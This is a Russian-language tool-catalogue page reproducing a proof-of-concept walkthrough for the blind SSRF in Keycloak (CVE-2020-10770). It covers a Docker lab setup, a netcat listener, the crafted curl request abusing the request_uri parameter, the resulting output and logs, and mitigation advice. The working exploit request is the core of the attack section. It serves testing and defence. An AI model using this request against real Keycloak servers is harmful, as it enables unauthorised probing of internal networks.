Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-10770-keycloak-exploit-poc — Пошаговое руководство по воспроизведению уязвимости слепого SSRF в Keycloak (CVE-2020-10770) с настройкой Docker, конфигурацией слушателя и рекомендациями по устранению. | Kitploit
Инструменты/GitHubGitHub/0xlyvio/cve-2020-10770-keycloak-exploit-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHub0xlyvio/cve-2020-10770-keycloak-exploit-poc

CVE-2020-10770-keycloak-exploit-poc

Пошаговое руководство по воспроизведению уязвимости слепого SSRF в Keycloak (CVE-2020-10770) с настройкой Docker, конфигурацией слушателя и рекомендациями по устранению.

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Keycloak Blind SSRF POC

Это пошаговое руководство о том, как протестировать Blind SSRF (CVE-2020-10770), обнаруженную Lauritz Holtmann и описанную в его блог-посте.
Он также кратко объяснил, как её протестировать. Это лишь более подробное объяснение.

Все заслуги принадлежат Lauritz.

Настройка

Здесь я использую Docker на Mac OSX.
Мне понадобились три оболочки: одна для запуска экземпляра Keycloak, одна для слушателя и одна для curl-запроса.

Защита

Вам нужен запущенный экземпляр Keycloak версии <= 12.0.1.
Вы можете запустить тестовый экземпляр следующей командой.

root@kitploit:~
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1

Посетите http://localhost:8080/auth/admin/ в браузере и войдите с именем пользователя "admin" и паролем "admin".

В левой части переключитесь на меню "Clients". Это приведёт вас к обзору клиентов.
Oauth2 client overview

В правой части нажмите "Create", чтобы создать нового клиента. Это приведёт вас на страницу создания клиента.


Oauth2 client creation

Выберите разумный "Client ID" для вашего Oauth2-клиента. Я использую "blueteamoauth2client" (это ваш <Keycloak_Client_ID>). Если вы используете другой Client ID, вам придётся изменить параметр запроса в HTTP-запросе атаки. Нажмите save, чтобы завершить настройку клиента.
Oauth2 client creation

Теперь вы увидите настройки нашего нового Oauth2-клиента.
Oauth2 client creation

На этом часть защиты завершена.

Атакующий

Слушатель

Вам нужен слушатель, который принимает запрос, который мы хотим инициировать с помощью нашего SSRF. Таким образом, IP-адрес и порт должны быть доступны с сервера Keycloak.
В этом случае вы не можете использовать localhost, потому что с точки зрения Keycloak localhost будет находиться внутри самого контейнера.
Чтобы получить IP-адрес в Mac OS, вы можете использовать

root@kitploit:~
for iface in $(ifconfig  | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done

Я решил запустить слушатель на своей хост-системе на порту 4444.

root@kitploit:~
nc -v -l 4444

Атака

В другой оболочке вам нужно выполнить один запрос с помощью curl. Вам придётся изменить его под свои требования.

root@kitploit:~
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"

Важными частями являются:

  • <Keycloak_host_or_ip> в моём случае "localhost".
  • <Keycloak_port> в моём случае "8080".
  • <Keycloak_realm> realm, используемый Keycloak. По умолчанию это "master". Именно его я использую здесь.
  • <Netcat_listener_ip> IP-адрес слушателя netcat.
  • <Netcat_listener_port> порт слушателя netcat.

Таким образом, запрос в моём случае выглядит так

root@kitploit:~
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"

Результат

В слушателе netcat вы увидите что-то вроде этого.

root@kitploit:~
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate

bash-3.2$

Это означает, что экземпляр Keycloak выполнил HTTP-вызов к вашему слушателю.

В журналах Keycloak также будут записи об этом.

root@kitploit:~
13:37:28,855 WARN  [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
	at java.base/java.net.SocketInputStream.socketRead0(Native Method)
	at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN  [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request

Смягчение

Чтобы смягчить эту уязвимость, вы можете либо:

  • Обновить Keycloak до версии >= 12.0.2.
  • Убедиться, что обратный прокси-сервер перед Keycloak отклоняет любой запрос, содержащий параметр запроса "request_uri".

Благодарности

Спасибо Lauritz за обнаружение и сообщение об SSRF, за написание блог-поста, а также за первоначальную подсказку о том, как это сделать.
Спасибо Sebastian за идею блокировать запросы с параметром запроса "request_uri" в обратном прокси-сервере.

Скачать инструмент